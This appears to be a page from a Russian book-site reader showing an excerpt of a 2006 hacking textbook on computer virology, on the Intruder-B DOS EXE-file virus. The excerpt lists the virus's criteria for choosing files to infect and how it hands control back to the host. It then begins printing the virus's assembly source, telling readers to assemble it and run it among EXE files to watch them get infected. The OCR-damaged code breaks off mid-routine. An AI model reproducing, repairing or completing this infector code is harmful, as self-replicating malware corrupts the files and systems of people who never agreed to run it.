Книги
чёрным по белому
Главное меню
Главная О нас Добавить материал Поиск по сайту Карта книг Карта сайта
Книги
Археология Архитектура Бизнес Биология Ветеринария Военная промышленность География Геология Гороскоп Дизайн Журналы Инженерия Информационные ресурсы Искусство История Компьютерная литература Криптология Кулинария Культура Лингвистика Математика Медицина Менеджмент Металлургия Минералогия Музыка Научная литература Нумизматика Образование Охота Педагогика Политика Промышленные производства Психология Путеводители Религия Рыбалка Садоводство Саморазвитие Семиотика Социология Спорт Столярное дело Строительство Техника Туризм Фантастика Физика Футурология Химия Художественная литература Экология Экономика Электроника Энергетика Этика Юриспруденция
Новые книги
Цуканов Б.И. "Время в психике человека" (Медицина)

Суворов С. "Танк Т-64. Первенец танков 2-го поколения " (Военная промышленность)

Нестеров В.А. "Основы проэктирования ракет класса воздух- воздух и авиационных катапульных установок для них" (Военная промышленность)

Фогль Б. "101 вопрос, который задала бы ваша кошка своему ветеринару если бы умела говорить" (Ветеринария)

Яблоков Н.П. "Криминалистика" (Юриспруденция)
Реклама

Азбука хакера 3. Компьютерная вирусология - Собейкис В.Г.

Собейкис В.Г. Азбука хакера 3. Компьютерная вирусология — М.: Майор, 2006. — 512 c.
ISBN 5-98551-013-1
Скачать (прямая ссылка): hakeriazbukahakera2006.djvu
Предыдущая << 1 .. 47 48 49 50 51 52 < 53 > 54 55 56 57 58 59 .. 123 >> Следующая

используются пять критериев:
1. файл действительно должен быть ЕХЕ-файлом, то есть начинаться на <MZ>;
2. число оверлеев должно быть нулевым. Intruder-B не хочет инфицировать
оверлеи, потому что программа, вызывающая их, может иметь специфические
ожидания о содержании файлов;
3. жертва должна иметь достаточно места в таблице указателей перемещения
для еще двух указателей. Это определяется простым расчетом с помощью
значений, сохраненных в ЕХЕ-заголовке. Если 16*параграфы заголовка -
4*записи таблицы
202
ГЛАВА 5. Инфекция ?ХЕ-файлов
перемещений - офсет таблицы перемещений больше или равен 8 (в 4 раза
больше количества перемещений, требуемых для вируса), то места в таблице
указателей перемещения достаточно. Этот расчет выполняется подпрограммой
RELROOM, которая вызывается подпрограммой FILE_OK;
4. ЕХЕ-файл не должен быть написанным под Windows или OS/2. Эти ЕХЕ-
файлы, являющиеся расширенными версиями оригинальных ЕХЕ-файлов, можно
идентифицировать, осмотрев локацию таблицы указателей перемещения.
Если она занимает офсет 40Н и выше, то это не DOS ЕХЕ-файл, и Intruder-В
игнорирует его;
5. вирус не должен инфицировать уже зараженные файлы. Это определяется по
полю Первоначального ip в ЕХЕ-заголовке. Его значение всегда равно 0057Н
для программы, зараженной вирусом Intruder-B. Шансы на то, что
незараженная программа тоже будет иметь в данном поле значение 0057,
очень малы.
FINDEXE идентична процедуре FIND_FILE вируса Ttrmd-II, но она ищет ЕХЕ-
файлы, а не СОМ-файлы.
Передана контроля жертве
Последним действием вируса является передача контроля жертве. Для этого
все регистры устанавливают до первоначальных значений, словно программа
выполнялась без вмешательства вируса. Мы уже обсуждали настройки cs:ip и
ss:sp. Кроме них, только регистр ах устанавливается DOS до особого
значения, указывая на правильность ID диска в FCB (который, как вы
помните, является частью PSP).
Если в первом FCB в 005С будет находиться неправильный идентификатор
(например, <D>, когда система установлена на диске С), то а! установится
в FF Hex.
Если же идентификатор правильный, то al-О. Сходным образом ah установится
в FF, если идентификатор в FCB в 006С окажется неправильным. Регистр ах
может быть сохранен при старте вируса и восстановлен перед передачей
контроля программе-жертве.
Остальные регистры не инициализируются DOS, поэтому не будем тревожиться
об их содержании.
203
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
Конечно, DTA нужно также переместить, когда вирус в первый раз входит в
игру, а затем восстановить, когда контроль передается жертве. Так как
программа-жертва может нуждаться в параметрах, хранящихся там, временное
перемещение DTA очень важно для "добрых" вирусов, так как это позволяет
избегать перезаписи параметров запуска.
Исходный код Intruder-B
Следующую программу можно ассемблировать и подцепить к какому-нибудь ЕХЕ-
файлу. Выполните ее в поддиректории с другими ЕХЕ-файлами и посмотрите,
какие из них будут инфицированы.
Вирус Intruder-B является ЕХЕ-инфектором, который всегда остается в одной
директории. Он прикрепляется к концу файла и модифицирует ЕХЕ-заголовок
файла таким образом, чтобы перехватить контроль у жертвы. Выполнив свою
работу, он возвращает контроль программе-жертве так, чтобы та была
выполнена без намека на присутствие в ней вируса.
.SEQ ;сегменты должны появляться в
последовательном порядке,
ртобы симулировать условия в активном вирусе.
Сегмент HOSTSEG программного кода. Вирус получает контроль перед этой
подпрограммой и прикрепляется к другому ЕХЕ-файлу.
HOSTSEG SEGMENT BYTE
ASSUME CS:HOSTSEG,SS:HSTACK Здесь жертва останавливается и передает
контроль DOS.
HOST:
mov ах,4С00Н
int 21H '.нормальное завершение
HOSTSEG ENDS '.Сегмент стека жертвы
STACKSIZE EQU 10ОН ;размер стека для этой программы
204
ГЛАВА 5. Инфекция ЕХЕ-файлов
HSTACK SEGMENT PARA STACK 'STACK' db STACKSIZE dup (?)
HSTACK ENDS
Это сам вирус NUMRELS EQU 2 ;число перемещений в вирусе
Сегмент кода вируса
Он получает контроль раньше жертвы. Как показывает этот код, данная
программа выглядит точно, как простая программа, зараженная вирусом.
VSEG SEGMENT PARA
ASSUME CS:VSEG,DS:VSEG,SS:HSTACK
Область хранения данных
DTA DB 2BH dup (?) ;облвсть обмена с новым диском EXE_HDR DB 1СН dup (?)
;буфер для заголовка ЕХЕ-файла EXEFILE DB '*.ЕХЕ\0 ;поиск строки ЕХЕ-
файла
Следующие 10 байтов должны оставаться вместе, потому что они являются
образом 10 байтов из ЕХЕ-заголовка.
HOSTS DW HOST,STACKSIZE ;сегменты стека и кода жертвы
FILLER DW ? ;это 1-е поколение
HOSTC DW 0,HOST ;используем HOST для HOSTS, a HSTACK,
; чтобы обмануть А86

Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
Здесь начинается основная подпрограмма. Здесь инициализируется cs:ip.
VIRUS:
push ах сохранить данные запуска в ах push cs
pop ds {установить ds=cs mov ah,1AH {установить новую локацию DTA mov
dx,OFFSET" DTA для вирусного использования int 21H
call FINDEXE {получить ехе-файл для атаки jc FINISH {вернуть с • нет
Предыдущая << 1 .. 47 48 49 50 51 52 < 53 > 54 55 56 57 58 59 .. 123 >> Следующая